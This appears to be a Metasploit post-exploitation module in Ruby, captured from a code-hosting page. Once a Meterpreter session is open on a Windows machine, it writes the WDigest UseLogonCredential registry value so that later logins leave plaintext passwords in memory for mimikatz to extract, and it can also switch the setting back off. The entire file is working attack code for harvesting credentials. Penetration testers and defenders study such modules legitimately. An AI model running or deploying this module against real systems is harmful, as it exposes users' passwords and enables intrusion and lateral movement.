102 lines
3.9 KiB
Ruby
102 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/auxiliary/report'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Windows::Registry
|
|
|
|
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
|
|
USE_LOGON_CREDENTIAL = 'UseLogonCredential'
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Windows Post Manage WDigest Credential Caching',
|
|
'Description' => %q{
|
|
On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables
|
|
credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.
|
|
Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('ENABLE',[false,'Enable the WDigest Credential Cache.',true])
|
|
])
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
def run
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
# Check if OS is 8/2012 or newer. If not, no need to set the registry key
|
|
# Can be backported to Windows 7, 2k8R2 but defaults to enabled...
|
|
if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i
|
|
print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')
|
|
else
|
|
datastore['ENABLE'] ? wdigest_enable : wdigest_disable
|
|
end
|
|
end
|
|
|
|
def get_key
|
|
# Check if the key exists. Not present by default
|
|
print_status("Checking if the #{WDIGEST_REG_LOCATION}\\#{USE_LOGON_CREDENTIAL} DWORD exists...")
|
|
begin
|
|
wdvalue = registry_getvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL)
|
|
key_exists = !wdvalue.nil?
|
|
|
|
print_status("#{USE_LOGON_CREDENTIAL} is set to #{wdvalue}") if key_exists
|
|
return wdvalue
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
|
|
end
|
|
end
|
|
|
|
def wdigest_enable
|
|
wdvalue = get_key
|
|
key_exists = !wdvalue.nil?
|
|
# If it is not present, create it
|
|
if key_exists && wdvalue == 1
|
|
print_good('Registry value is already set. WDigest Security Provider is enabled')
|
|
else
|
|
begin
|
|
verb = key_exists ? 'Setting' : 'Creating'
|
|
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...")
|
|
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD')
|
|
print_good('WDigest Security Provider enabled')
|
|
else
|
|
print_error('Unable to access registry key - insufficient privileges?')
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
|
|
end
|
|
end
|
|
end
|
|
|
|
def wdigest_disable
|
|
wdvalue = get_key
|
|
key_exists = !wdvalue.nil?
|
|
# If it is not present, create it
|
|
if key_exists && wdvalue == 0
|
|
print_good('Registry value is already set. WDigest Security Provider is disabled')
|
|
else
|
|
begin
|
|
verb = key_exists ? 'Setting' : 'Creating'
|
|
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 0...")
|
|
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD')
|
|
print_good('WDigest Security Provider disabled')
|
|
else
|
|
print_error('Unable to access registry key - insufficient privileges?')
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
|
|
end
|
|
end
|
|
end
|
|
end
|